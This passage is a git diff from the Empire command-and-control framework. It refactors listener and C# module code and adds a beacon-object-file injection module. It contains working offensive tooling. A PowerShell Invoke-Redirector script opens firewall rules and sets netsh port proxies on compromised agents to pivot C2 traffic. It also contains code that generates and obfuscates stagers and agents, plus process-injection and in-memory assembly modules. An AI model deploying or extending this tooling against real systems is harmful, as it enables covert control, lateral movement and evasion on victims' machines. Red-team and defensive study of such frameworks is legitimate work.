- "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
- )
+ log.error(
+ "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
- else:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): invalid listener name specification!"
- )
- )
-
def generate_stager(
self,
listenerOptions,
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
@@ -431,16 +419,12 @@ def generate_stager(
implemented to return the stage1 key-negotiation stager code.
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http generate_stager(): no language specified!"
- )
- )
+ log.error("listeners/http generate_stager(): no language specified!")
return None
profile = listenerOptions["DefaultProfile"]["Value"]
uris = [a.strip("/") for a in profile.split("|")[0].split(",")]
- launcher = listenerOptions["Launcher"]["Value"]
+ listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
@@ -473,8 +457,7 @@ def generate_stager(
stager = template.render(template_options)
# Get the random function name generated at install and patch the stager with the proper function name
- stager = data_util.keyword_obfuscation(stager)
-
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
# make sure the server ends with "/"
if not host.endswith("/"):
host += "/"
@@ -496,10 +479,9 @@ def generate_stager(
unobfuscated_stager = listener_util.remove_lines_comments(stager)
if obfuscate:
- unobfuscated_stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate(
unobfuscated_stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode:
@@ -543,10 +525,8 @@ def generate_stager(
return stager
else:
- print(
- helpers.color(
- "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
def generate_agent(
@@ -554,7 +534,7 @@ def generate_agent(
listenerOptions,
language=None,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
version="",
):
"""
@@ -562,11 +542,7 @@ def generate_agent(
implemented to return the actual staged agent code.
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http generate_agent(): no language specified!"
- )
- )
+ log.error("listeners/http generate_agent(): no language specified!")
return None
language = language.lower()
@@ -579,11 +555,10 @@ def generate_agent(
b64DefaultResponse = base64.b64encode(self.default_response())
if language == "powershell":
-
with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f:
code = f.read()
# Get the random function name generated at install and patch the stager with the proper function name
- code = data_util.keyword_obfuscation(code)
+ code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
@@ -607,10 +582,9 @@ def generate_agent(
"$KillDate,", "$KillDate = '" + str(killDate) + "',"
)
if obfuscate:
- code = data_util.obfuscate(
- self.mainMenu.installPath,
+ code = self.mainMenu.obfuscationv2.obfuscate(
code,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
return code
@@ -652,10 +626,8 @@ def generate_agent(
code = ""
return code
else:
- print(
- helpers.color(
- "[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
def generate_comms(self, listenerOptions, language=None):
@@ -702,17 +674,11 @@ def generate_comms(self, listenerOptions, language=None):
return comms
else:
- print(
- helpers.color(
- "[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/http generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/http generate_comms(): no language specified!")
def start(self, name=""):
"""
@@ -720,176 +686,178 @@ def start(self, name=""):
here and the actual server code in another function to facilitate threading
(i.e. start_server() in the http listener).
"""
+ try:
+ tempOptions = copy.deepcopy(self.options)
+ with SessionLocal.begin() as db:
+ agent = self.mainMenu.agentsv2.get_by_id(
+ db, self.options["Agent"]["Value"]
+ )
+ listenerName = agent.listener
+ tempOptions["internalIP"]["Value"] = agent.internal_ip
- tempOptions = copy.deepcopy(self.options)
- listenerName = self.options["Listener"]["Value"]
- # validate that the Listener does exist
- if self.mainMenu.listeners.is_listener_valid(listenerName):
- # check if a listener for the agent already exists
-
- if self.mainMenu.listeners.is_listener_valid(tempOptions["Name"]["Value"]):
- print(
- helpers.color(
- "[!] Pivot listener already exists on agent %s"
- % (tempOptions["Name"]["Value"])
- )
+ parent_listener = self.mainMenu.listenersv2.get_by_name(
+ db, listenerName
)
- return False
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
- sessionID = self.mainMenu.agents.get_agent_id_db(
- tempOptions["Name"]["Value"]
- )
- isElevated = self.mainMenu.agents.is_agent_elevated(sessionID)
+ if parent_listener:
+ self.options = copy.deepcopy(parent_listener.options)
+ self.options["Name"]["Value"] = name
+ else:
+ log.error("Parent listener not found")
+ return False
- if self.mainMenu.agents.is_agent_present(sessionID) and isElevated:
+ # validate that the Listener does exist
+ if self.mainMenu.listeners.is_listener_valid(listenerName):
+ # check if a listener for the agent already exists
- if self.mainMenu.agents.get_language_db(sessionID).startswith(
- "po"
- ) or self.mainMenu.agents.get_language_db(sessionID).startswith("csh"):
- # logic for powershell agents
- script = """
- function Invoke-Redirector {
- param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
- if($ShowAll){
- $out = netsh interface portproxy show all
- if($out){
- $out
- }
- else{
- "[*] no redirectors currently configured"
- }
- }
- elseif($Reset){
- Netsh.exe advfirewall firewall del rule name="$FirewallName"
- $out = netsh interface portproxy reset
- if($out){
- $out
- }
- else{
- "[+] successfully removed all redirectors"
- }
- }
- else{
- if((-not $ListenPort)){
- "[!] netsh error: required option not specified"
- }
- else{
- $ConnectAddress = ""
- $ConnectPort = ""
-
- $parts = $ConnectHost -split(":")
- if($parts.Length -eq 2){
- # if the form is http[s]://HOST or HOST:PORT
- if($parts[0].StartsWith("http")){
- $ConnectAddress = $parts[1] -replace "//",""
- if($parts[0] -eq "https"){
- $ConnectPort = "443"
- }
- else{
- $ConnectPort = "80"
- }
+ if self.mainMenu.listeners.is_listener_valid(
+ tempOptions["Name"]["Value"]
+ ):
+ log.error(
+ f"{listenerName}: Pivot listener already exists on agent {tempOptions['Name']['Value']}"
+ )
+ return False
+
+ session_id = agent.session_id
+ self.options["Agent"] = tempOptions["Agent"]
+ if agent and agent.high_integrity:
+ isElevated = agent.high_integrity
+ if not isElevated:
+ log.error("Agent must be elevated to run a redirector")
+ if agent.language.lower() in ["powershell", "csharp"]:
+ # logic for powershell agents
+ script = """
+ function Invoke-Redirector {
+ param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
+ if($ShowAll){
+ $out = netsh interface portproxy show all
+ if($out){
+ $out
}
else{
- $ConnectAddress = $parts[0]
- $ConnectPort = $parts[1]
+ "[*] no redirectors currently configured"
}
}
- elseif($parts.Length -eq 3){
- # if the form is http[s]://HOST:PORT
- $ConnectAddress = $parts[1] -replace "//",""
- $ConnectPort = $parts[2]
- }
- if($ConnectPort -ne ""){
- Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes
- $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
+ elseif($Reset){
+ Netsh.exe advfirewall firewall del rule name="$FirewallName"
+ $out = netsh interface portproxy reset
if($out){
$out
}
else{
- "[+] successfully added redirector on port $ListenPort to $ConnectHost"
+ "[+] successfully removed all redirectors"
}
}
else{
- "[!] netsh error: host not in http[s]://HOST:[PORT] format"
+ if((-not $ListenPort)){
+ "[!] netsh error: required option not specified"
+ }
+ else{
+ $ConnectAddress = ""
+ $ConnectPort = ""
+
+ $parts = $ConnectHost -split(":")
+ if($parts.Length -eq 2){
+ # if the form is http[s]://HOST or HOST:PORT
+ if($parts[0].StartsWith("http")){
+ $ConnectAddress = $parts[1] -replace "//",""
+ if($parts[0] -eq "https"){
+ $ConnectPort = "443"
+ }
+ else{
+ $ConnectPort = "80"
+ }
+ }
+ else{
+ $ConnectAddress = $parts[0]
+ $ConnectPort = $parts[1]
+ }
+ }
+ elseif($parts.Length -eq 3){
+ # if the form is http[s]://HOST:PORT
+ $ConnectAddress = $parts[1] -replace "//",""
+ $ConnectPort = $parts[2]
+ }
+ if($ConnectPort -ne ""){
+ Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes
+ $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
+ if($out){
+ $out
+ }
+ else{
+ "[+] successfully added redirector on port $ListenPort to $ConnectHost"
+ }
+ }
+ else{
+ "[!] netsh error: host not in http[s]://HOST:[PORT] format"
+ }
+ }
}
}
- }
- }
- Invoke-Redirector"""
-
- script += " -ConnectHost %s" % (listenerOptions["Host"]["Value"])
- script += " -ConnectPort %s" % (listenerOptions["Port"]["Value"])
- script += " -ListenAddress %s" % (
- tempOptions["internalIP"]["Value"]
- )
- script += " -ListenPort %s" % (tempOptions["ListenPort"]["Value"])
- script += " -FirewallName %s" % (sessionID)
-
- # clone the existing listener options
- self.options = copy.deepcopy(listenerOptions)
-
- for option, values in self.options.items():
-
- if option.lower() == "name":
- self.options[option]["Value"] = sessionID
-
- elif option.lower() == "host":
- if self.options[option]["Value"].startswith("https://"):
- host = "https://%s:%s" % (
- tempOptions["internalIP"]["Value"],
- tempOptions["ListenPort"]["Value"],
- )
- self.options[option]["Value"] = host
- else:
- host = "http://%s:%s" % (
- tempOptions["internalIP"]["Value"],
- tempOptions["ListenPort"]["Value"],
- )
- self.options[option]["Value"] = host
-
- # check to see if there was a host value at all
- if "Host" not in list(self.options.keys()):
- self.options["Host"]["Value"] = host
-
- self.mainMenu.agents.add_agent_task_db(
- tempOptions["Name"]["Value"], "TASK_SHELL", script
- )
- msg = "Tasked agent to install Pivot listener "
- self.mainMenu.agents.save_agent_log(
- tempOptions["Name"]["Value"], msg
- )
+ Invoke-Redirector"""
- return True
+ script += " -ConnectHost %s" % (
+ self.options["Host"]["Value"]
+ )
+ script += " -ConnectPort %s" % (
+ self.options["Port"]["Value"]
+ )
+ script += " -ListenAddress %s" % (
+ tempOptions["internalIP"]["Value"]
+ )
+ script += " -ListenPort %s" % (
+ tempOptions["ListenPort"]["Value"]
+ )
+ script += " -FirewallName %s" % (session_id)
+
+ for option, values in self.options.items():
+ if option.lower() == "host":
+ if self.options[option]["Value"].startswith(
+ "https://"
+ ):
+ host = "https://%s:%s" % (
+ tempOptions["internalIP"]["Value"],
+ tempOptions["ListenPort"]["Value"],
+ )
+ self.options[option]["Value"] = host
+ else:
+ host = "http://%s:%s" % (
+ tempOptions["internalIP"]["Value"],
+ tempOptions["ListenPort"]["Value"],
+ )
+ self.options[option]["Value"] = host
+
+ # check to see if there was a host value at all
+ if "Host" not in list(self.options.keys()):
+ self.options["Host"]["Value"] = host
+
+ self.mainMenu.agenttasksv2.create_task_shell(
+ db, agent, script
+ )
- elif self.mainMenu.agents.get_language_db(
- self.options["Name"]["Value"]
- ).startswith("py"):
+ msg = "Tasked agent to install Pivot listener "
+ self.mainMenu.agents.save_agent_log(
+ tempOptions["Agent"]["Value"], msg
+ )
- # not implemented
- script = """
- """
+ return True
- print(helpers.color("[!] Python pivot listener not implemented"))
- return False
+ elif agent.language.lower() == "python":
+ # not implemented
+ script = """
+ """
- else:
- print(
- helpers.color(
- "[!] Unable to determine the language for the agent"
- )
- )
+ log.error("Python pivot listener not implemented")
+ return False
- else:
- if not isElevated:
- print(
- helpers.color("[!] Agent must be elevated to run a redirector")
- )
- else:
- print(helpers.color("[!] Agent is not present in the cache"))
- return False
+ else:
+ log.error("Unable to determine the language for the agent")
+ else:
+ log.error("Agent is not present in the cache")
+ return False
+ except Exception:
+ log.error(f'Listener "{name}" failed to start')
+ return False
def shutdown(self, name=""):
"""
@@ -897,14 +865,13 @@ def shutdown(self, name=""):
named listener here.
"""
if name and name != "":
- print(helpers.color("[!] Killing listener '%s'" % (name)))
+ self.instance_log.info(f"{name}: shutting down...")
+ log.info(f"{name}: shutting down...")
sessionID = self.mainMenu.agents.get_agent_id_db(name)
isElevated = self.mainMenu.agents.is_agent_elevated(sessionID)
- if self.mainMenu.agents.is_agent_present(name) and isElevated:
-
+ if self.mainMenu.agents.is_agent_present(sessionID) and isElevated:
if self.mainMenu.agents.get_language_db(sessionID).startswith("po"):
-
script = """
function Invoke-Redirector {
param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
@@ -978,21 +945,16 @@ def shutdown(self, name=""):
script += " -Reset"
script += " -FirewallName %s" % (sessionID)
- self.mainMenu.agents.add_agent_task_db(
- sessionID, "TASK_SHELL", script
- )
+ with SessionLocal.begin() as db:
+ agent = self.mainMenu.agentsv2.get_by_id(db, sessionID)
+ self.mainMenu.agenttasksv2.create_task_shell(db, agent, script)
msg = "Tasked agent to uninstall Pivot listener "
self.mainMenu.agents.save_agent_log(sessionID, msg)
elif self.mainMenu.agents.get_language_db(sessionID).startswith("py"):
-
- print(helpers.color("[!] Shutdown not implemented for python"))
+ log.error("Shutdown not implemented for python")
else:
- print(
- helpers.color(
- "[!] Agent is not present in the cache or not elevated"
- )
- )
+ log.error("Agent is not present in the cache or not elevated")
pass
diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py
index 43122de0f..c1ae0872e 100644
--- a/empire/server/listeners/template.py
+++ b/empire/server/listeners/template.py
@@ -1,26 +1,34 @@
from __future__ import print_function
-import base64
import random
from builtins import object, str
# Empire imports
-from typing import List
+from typing import List, Optional, Tuple
-from empire.server.common import agents, encryption, helpers, messages, packets
+from empire.server.common import helpers
from empire.server.utils import data_util
+from empire.server.utils.module_util import handle_validate_message
class Listener(object):
def __init__(self, mainMenu, params=[]):
-
self.info = {
"Name": "Template",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": ("Listener template"),
# categories - client_server, peer_to_peer, broadcast, third_party
"Category": ("client_server"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -147,7 +155,7 @@ def default_response(self):
)
return ""
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
@@ -156,16 +164,15 @@ def validate_options(self):
if self.options[key]["Required"] and (
str(self.options[key]["Value"]).strip() == ""
):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
+ return handle_validate_message(f'[!] Option "{key}" is required.')
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -188,18 +195,22 @@ def generate_launcher(
)
return None
- if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
-
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
+ if (
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
+
host = listenerOptions["Host"]["Value"]
- stagingKey = listenerOptions["StagingKey"]["Value"]
+ _stagingKey = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
uris = [a.strip("/") for a in profile.split("|")[0].split(",")]
stage0 = random.choice(uris)
- launchURI = "%s/%s" % (host, stage0)
+ _launchURI = "%s/%s" % (host, stage0)
if language.startswith("po"):
# PowerShell
@@ -216,20 +227,13 @@ def generate_launcher(
)
)
- else:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): invalid listener name specification!"
- )
- )
-
def generate_stager(
self,
listenerOptions,
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
@@ -244,7 +248,7 @@ def generate_stager(
return ""
def generate_agent(
- self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""
+ self, listenerOptions, language=None, obfuscate=False, obfuscation_command=""
):
"""
If you want to support staging for the listener module, generate_agent must be
@@ -265,7 +269,6 @@ def generate_comms(self, listenerOptions, language=None):
if language:
if language.lower() == "powershell":
-
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
@@ -342,12 +345,4 @@ def shutdown(self, name=""):
If a server component was started, implement the logic that kills the particular
named listener here.
"""
-
- # if name and name != '':
- # print helpers.color("[!] Killing listener '%s'" % (name))
- # self.threads[name].kill()
- # else:
- # print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
- # self.threads[self.options['Name']['Value']].kill()
-
pass
diff --git a/empire/server/modules/csharp/Assembly.Covenant.py b/empire/server/modules/csharp/Assembly.Covenant.py
index 7a5b3eb15..fbe0e381d 100755
--- a/empire/server/modules/csharp/Assembly.Covenant.py
+++ b/empire/server/modules/csharp/Assembly.Covenant.py
@@ -1,34 +1,28 @@
from __future__ import print_function
-import base64
-import pathlib
from builtins import object, str
from typing import Dict
-import donut
import yaml
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
+ base64_assembly = main_menu.downloadsv2.get_all(
+ SessionLocal(), None, params["File"]
+ )[0][0].get_base64_file()
- with open(f"{main_menu.directory['downloads']}{params['File']}", "rb") as data:
- assembly_data = data.read()
- base64_assembly = base64.b64encode(assembly_data).decode("utf-8")
-
- compiler = main_menu.loadedPlugins.get("csharpserver")
+ compiler = main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
return None, "csharpserver plugin not running"
@@ -40,7 +34,7 @@ def generate(
compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)
file_name = compiler.do_send_message(
- compiler_yaml, module.name, confuse=main_menu.obfuscate
+ compiler_yaml, module.name, confuse=obfuscate
)
if file_name == "failed":
return None, "module compile failed"
diff --git a/empire/server/modules/csharp/Assembly.Covenant.yaml b/empire/server/modules/csharp/Assembly.Covenant.yaml
index 628576d5d..00e9d21f1 100755
--- a/empire/server/modules/csharp/Assembly.Covenant.yaml
+++ b/empire/server/modules/csharp/Assembly.Covenant.yaml
@@ -154,6 +154,7 @@
ReferenceAssemblies: []
EmbeddedResources: []
Empire:
+ tactics: []
software: ''
techniques:
- T1059
diff --git a/empire/server/modules/csharp/AssemblyReflect.Covenant.py b/empire/server/modules/csharp/AssemblyReflect.Covenant.py
index 3a70f20ae..301922753 100755
--- a/empire/server/modules/csharp/AssemblyReflect.Covenant.py
+++ b/empire/server/modules/csharp/AssemblyReflect.Covenant.py
@@ -1,34 +1,28 @@
from __future__ import print_function
-import base64
-import pathlib
from builtins import object, str
from typing import Dict
-import donut
import yaml
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
+ base64_assembly = main_menu.downloadsv2.get_all(
+ SessionLocal(), None, params["File"]
+ )[0][0].get_base64_file()
- with open(f"{main_menu.directory['downloads']}{params['File']}", "rb") as data:
- assembly_data = data.read()
- base64_assembly = base64.b64encode(assembly_data).decode("utf-8")
-
- compiler = main_menu.loadedPlugins.get("csharpserver")
+ compiler = main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
return None, "csharpserver plugin not running"
@@ -40,7 +34,7 @@ def generate(
compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)
file_name = compiler.do_send_message(
- compiler_yaml, module.name, confuse=main_menu.obfuscate
+ compiler_yaml, module.name, confuse=obfuscate
)
if file_name == "failed":
return None, "module compile failed"
diff --git a/empire/server/modules/csharp/AssemblyReflect.Covenant.yaml b/empire/server/modules/csharp/AssemblyReflect.Covenant.yaml
index 09feaede7..e3d07a61d 100755
--- a/empire/server/modules/csharp/AssemblyReflect.Covenant.yaml
+++ b/empire/server/modules/csharp/AssemblyReflect.Covenant.yaml
@@ -114,9 +114,11 @@
ReferenceAssemblies: []
EmbeddedResources: []
Empire:
+ tactics:
+ - TA0005
software: ''
techniques:
- - T1059
+ - T1620
background: true
output_extension:
needs_admin: false
diff --git a/empire/server/modules/csharp/Inject_BOF.Covenant.py b/empire/server/modules/csharp/Inject_BOF.Covenant.py
new file mode 100644
index 000000000..609573a62
--- /dev/null
+++ b/empire/server/modules/csharp/Inject_BOF.Covenant.py
@@ -0,0 +1,73 @@
+from __future__ import print_function
+
+from builtins import object, str
+from typing import Dict
+
+import yaml
+
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule
+
+
+class Module(object):
+ @staticmethod
+ def generate(
+ main_menu,
+ module: EmpireModule,
+ params: Dict,
+ obfuscate: bool = False,
+ obfuscation_command: str = "",
+ ):
+ b64_bof_data = main_menu.downloadsv2.get_all(
+ SessionLocal(), None, params["File"]
+ )[0][0].get_base64_file()
+
+ compiler = main_menu.pluginsv2.get_by_id("csharpserver")
+ if not compiler.status == "ON":
+ return None, "csharpserver plugin not running"
+
+ # Convert compiler.yaml to python dict
+ compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
+ # delete the 'Empire' key
+ del compiler_dict[0]["Empire"]
+ # convert back to yaml string
+
+ if params["Architecture"] == "x64":
+ pass
+ elif params["Architecture"] == "x86":
+ compiler_dict[0]["ReferenceSourceLibraries"][0]["EmbeddedResources"][0][
+ "Name"
+ ] = "RunOF.beacon_funcs.x64.o"
+ compiler_dict[0]["ReferenceSourceLibraries"][0]["EmbeddedResources"][0][
+ "Location"
+ ] = "RunOF.beacon_funcs.x64.o"
+ compiler_dict[0]["ReferenceSourceLibraries"][0][
+ "Location"
+ ] = "RunOF\\RunOF32\\"
+
+ compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)
+
+ file_name = compiler.do_send_message(
+ compiler_yaml, module.name, confuse=obfuscate
+ )
+ if file_name == "failed":
+ return None, "module compile failed"
+
+ script_file = (
+ main_menu.installPath
+ + "/csharp/Covenant/Data/Tasks/CSharp/Compiled/"
+ + (params["DotNetVersion"]).lower()
+ + "/"
+ + file_name
+ + ".compiled"
+ )
+ if params["File"] != "":
+ script_end = f",-a:{b64_bof_data}"
+ else:
+ script_end = ","
+
+ if params["EntryPoint"] != "":
+ script_end += f" -e:{params['EntryPoint']}"
+ if params["ArgumentList"] != "":
+ script_end += f" {params['ArgumentList']}"
+ return f"{script_file}|{script_end}", None
diff --git a/empire/server/modules/csharp/Inject_BOF.Covenant.yaml b/empire/server/modules/csharp/Inject_BOF.Covenant.yaml
new file mode 100644
index 000000000..84255d18b
--- /dev/null
+++ b/empire/server/modules/csharp/Inject_BOF.Covenant.yaml
@@ -0,0 +1,107 @@
+- Name: inject_bof
+ Aliases: []
+ Description: |
+ A tool to run object files, mainly beacon object files (BOF), in .Net using a modified version of RunOF
+ Author:
+ Name: Anthony Rose
+ Handle: Cx01N
+ Link: https://twitter.com/Cx01N_
+ Help:
+ Language: CSharp
+ CompatibleDotNetVersions:
+ - net40
+ Code: |
+ using System;
+ using System.IO;
+ using System.Linq;
+
+ using RunOF;
+
+ public static class Task
+ {
+ public static Stream OutputStream { get; set; }
+ public static string Execute(string Command = "")
+ {
+ TextWriter realStdOut = Console.Out;
+ TextWriter realStdErr = Console.Error;
+ StreamWriter stdOutWriter = new StreamWriter(OutputStream);
+ StreamWriter stdErrWriter = new StreamWriter(OutputStream);
+ stdOutWriter.AutoFlush = true;
+ stdErrWriter.AutoFlush = true;
+ Console.SetOut(stdOutWriter);
+ Console.SetError(stdErrWriter);
+
+ string[] args = Command.Split(' ');
+ RunOF.Program.Main(args);
+
+ Console.Out.Flush();
+ Console.Error.Flush();
+ Console.SetOut(realStdOut);
+ Console.SetError(realStdErr);
+
+ OutputStream.Close();
+ return "";
+ }
+ }
+ TaskingType: Assembly
+ UnsafeCompile: true
+ TokenTask: false
+ Options: []
+ ReferenceSourceLibraries:
+ - Name: RunOF
+ Description: A tool to run object files, mainly beacon object files (BOF), in .Net.
+ Location: RunOF\RunOF64\
+ Language: CSharp
+ CompatibleDotNetVersions:
+ - net40
+ ReferenceAssemblies:
+ - Name: System.dll
+ Location: net40\System.dll
+ DotNetVersion: net40
+ - Name: System.Core.dll
+ Location: net40\System.Core.dll
+ DotNetVersion: net40
+ - Name: mscorlib.dll
+ Location: net40\mscorlib.dll
+ DotNetVersion: net40
+ EmbeddedResources:
+ - Name: RunOF.beacon_funcs.x64.o
+ Location: RunOF.beacon_funcs.x64.o
+ ReferenceAssemblies: []
+ EmbeddedResources: []
+ Empire:
+ tactics:
+ - TA0011
+ software: ''
+ techniques:
+ - T1105
+ background: true
+ output_extension:
+ needs_admin: false
+ opsec_safe: false
+ comments:
+ - https://github.com/nettitude/RunOF
+ - https://github.com/BC-SECURITY/RunOF
+ options:
+ - name: File
+ description: Beacon object file to load and execute.
+ required: false
+ value: ''
+ - name: EntryPoint
+ description: Name of the function exported to execute in the beacon object file.
+ required: false
+ value: ''
+ - name: ArgumentList
+ description: List of arguments that will be passed to the beacon, available through BeaconParse API.
+ required: false
+ value: ''
+ - name: Architecture
+ description: Architecture of the beacon_funcs.o to generate with (x64 or x86).
+ required: true
+ value: x64
+ strict: true
+ suggested_values:
+ - x64
+ - x86
+ advanced:
+ custom_generate: true
diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py
index ad4921b62..343edd00f 100644
--- a/empire/server/modules/csharp/ProcessInjection.Covenant.py
+++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py
@@ -1,7 +1,5 @@
from __future__ import print_function
-import base64
-import pathlib
from builtins import object, str
from typing import Dict
@@ -9,8 +7,7 @@
import yaml
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -18,12 +15,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
pid = params["pid"]
@@ -33,7 +29,7 @@ def generate(
launcher_obfuscation_command = params["ObfuscateCommand"]
language = params["Language"]
dot_net_version = params["DotNetVersion"].lower()
- parentproc = params["parentproc"]
+ params["parentproc"]
arch = params["Architecture"]
launcher_obfuscation = params["Obfuscate"]
@@ -46,7 +42,7 @@ def generate(
language=language,
encode=False,
obfuscate=launcher_obfuscation,
- obfuscationCommand=launcher_obfuscation_command,
+ obfuscation_command=launcher_obfuscation_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -82,7 +78,7 @@ def generate(
base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8")
- compiler = main_menu.loadedPlugins.get("csharpserver")
+ compiler = main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
return None, "csharpserver plugin not running"
@@ -94,7 +90,7 @@ def generate(
compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)
file_name = compiler.do_send_message(
- compiler_yaml, module.name, confuse=main_menu.obfuscate
+ compiler_yaml, module.name, confuse=obfuscate
)
if file_name == "failed":
return None, "module compile failed"
diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.yaml b/empire/server/modules/csharp/ProcessInjection.Covenant.yaml
index 7f409f132..345af1f15 100644
--- a/empire/server/modules/csharp/ProcessInjection.Covenant.yaml
+++ b/empire/server/modules/csharp/ProcessInjection.Covenant.yaml
@@ -90,6 +90,7 @@
ReferenceAssemblies: []
EmbeddedResources: []
Empire:
+ tactics: []
software: ''
techniques:
- T1055
@@ -118,6 +119,10 @@
for obfuscation types. For powershell only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
is True. For powershell only.
diff --git a/empire/server/modules/csharp/Shellcode.Covenant.py b/empire/server/modules/csharp/Shellcode.Covenant.py
index c4191dd21..4ebfcc722 100755
--- a/empire/server/modules/csharp/Shellcode.Covenant.py
+++ b/empire/server/modules/csharp/Shellcode.Covenant.py
@@ -1,34 +1,28 @@
from __future__ import print_function
-import base64
-import pathlib
from builtins import object, str
from typing import Dict
-import donut
import yaml
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
